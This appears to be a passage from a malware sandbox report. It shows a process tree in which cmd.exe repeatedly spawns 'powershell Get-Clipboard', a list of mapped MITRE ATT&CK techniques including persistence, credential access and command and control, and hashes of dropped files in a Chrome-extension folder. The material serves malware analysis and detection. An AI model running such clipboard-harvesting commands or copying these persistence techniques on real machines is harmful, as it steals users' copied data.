    powershell Get-Clipboard
    3⤵
    PID:3952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3624
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5836
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3504
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Replication Through Removable Media

T1091

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logo.png

Path C:\ProgramData\ChromeExtensionsNova\extension-tokens\images\logo.png
Size 78KB
SHA256 c9eb076f465aac3c93c61f34fb7cfef6677bacbab7e0611c1c41b80b7f057792
MD5 2cfd3dd20571cce21f09407b28b565fb
SHA1 07a7704986e963e9ba69f7109b7450deccd23eb2
SHA512 bec2ec4d1562c45aaa276e1687786ccd494afefe93dfa330c600e2ad8ac6783ea7988c284df42c5c811afc5d73686484012584faf553e9777f4cb0b7ad436e7d
SSDEEP 1536:quezGbhpqVlhojoMK2djg/Y/KSqWvmpVz4fo2te0p9jE+:quezGhpqBuoMNdjg/Y5N+c91
MD5 SHA1 SHA512 SSDEEP

Submit Download

logo128.png

Path C:\ProgramData\ChromeExtensionsNova\extension-tokens\images\logo128.png
Size 61KB
SHA256 c5e1e6ea9fc48569d26235066bac249be39b49f751fe8eec3c58581a0cdb3b73
MD5 184829119ec9dd27f2c97fb9f2accd4e
SHA1 aa6652caa5ae6fcf316998d5546ca081577bccd8
SHA512 e7256b639444a20ea6b16aa3f0c023afc2ec6c2994f92c1eebc02d4c28f275dc7c714f7945da3da5a8e83dd53b8283c632b4a9e7af88da609bf72c052a4b09ee
SSDEEP 1536:P41LpmVw2q9wcMoHess1GxcgRtsHBLr59sGaoj:P41LpmWjzHej4xcKtsh4+j
MD5 SHA1 SHA512 SSDEEP

Submit Download

logo16.png

Path C:\ProgramData\ChromeExtensionsNova\extension-tokens\images\logo16.png
Size 1KB
SHA256 321695dbcac7b2ceb14ef2651705ead5c0c42815358082b758ee803a37e945bb
MD5 f0f11cd478cc44d518c16820ede9d253
SHA1 cfaf8d2e071f2ade0894578e5b44e02032d27be4
SHA512 ac736abf8a776918df4094929efc29f7ae643aeef8d9b464653e3b7272a0799e58dc961dacadfbf9f42f575dfba14df7e6f4b1256c2c83dfe333ffb2ed3a1de8
MD5 SHA1 SHA512

Submit Download

logo48.png

Path C:\ProgramData\ChromeExtensionsNova\extension-tokens\images\logo48.png
Size 5KB
SHA256 6f575f1cac9f29b8f1f8a83a580811bdedeec88f9d4cb78ccecb553cba251ca5
MD5 2f0a6a34d9b95bba0e3358ddd41ff2ac
SHA1 f39a9e7aeab9fe86fd9034284516de40186e6e93
SHA512 a3c2094377b355a56d7d69f2a53baac58ebf3b40c5c031ba60fbc6f53e72e67e537e7bddee1489bbae4b41ea23311ad6b6f5c841e7b070dcdeca4bb8a6043084
SSDEEP 96:8Y3GE6koAgxz/Wgs6e9mAZbpBRkvQfZvsrZmAVL39MnE45C/3ttRiaVbM0pmpA81:8itxzA7mRAmEZme39ME45UtRicbpm6a/
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
MD5 SHA1 SHA512

Submit Download